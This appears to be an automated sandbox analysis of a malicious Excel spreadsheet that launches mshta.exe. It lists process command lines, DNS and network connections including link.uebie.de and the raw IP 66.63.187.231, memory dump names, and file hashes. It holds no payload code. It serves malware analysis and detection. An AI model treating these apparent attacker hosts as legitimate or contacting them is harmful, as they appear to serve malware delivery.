"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.105:80 e6.o.lencr.org tcp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 48.108.45.5.in-addr.arpa udp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 105.135.221.88.in-addr.arpa udp
US 66.63.187.231:80 66.63.187.231 tcp
US 8.8.8.8:53 231.187.63.66.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 104.193.132.51.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 21.49.80.91.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

memory/2244-0-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

memory/2244-1-0x00007FF85ADED000-0x00007FF85ADEE000-memory.dmp

memory/2244-3-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

memory/2244-4-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

memory/2244-2-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

memory/2244-7-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-6-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-5-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-9-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-11-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-12-0x00007FF818C60000-0x00007FF818C70000-memory.dmp

memory/2244-10-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-8-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

memory/2244-14-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-16-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-15-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-13-0x00007FF818C60000-0x00007FF818C70000-memory.dmp

memory/2244-18-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-19-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-20-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-17-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/3288-43-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/3288-38-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/3288-45-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/3288-42-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-47-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/2244-48-0x00007FF85ADED000-0x00007FF85ADEE000-memory.dmp

memory/3288-52-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

memory/3288-53-0x00007FF72C420000-0x00007FF72C428000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 1ca36ab50454fb0221c0c267ef3207eb
SHA1 5e1cd1915c3729d6cffc6ca519d804a3db593d8d
SHA256 9be2a81f5889cc84bf87735a34f851e8588d4d60045ee7df063286374e84328e
SHA512 1bfd0045b4a1248c4fe919d1774bb1d904a4c5b5f537bcad79bda000fec3aea36b7aeed81b566739b43702283ebf36497bc78bd2a92e72b10c2ba17cb47f6d78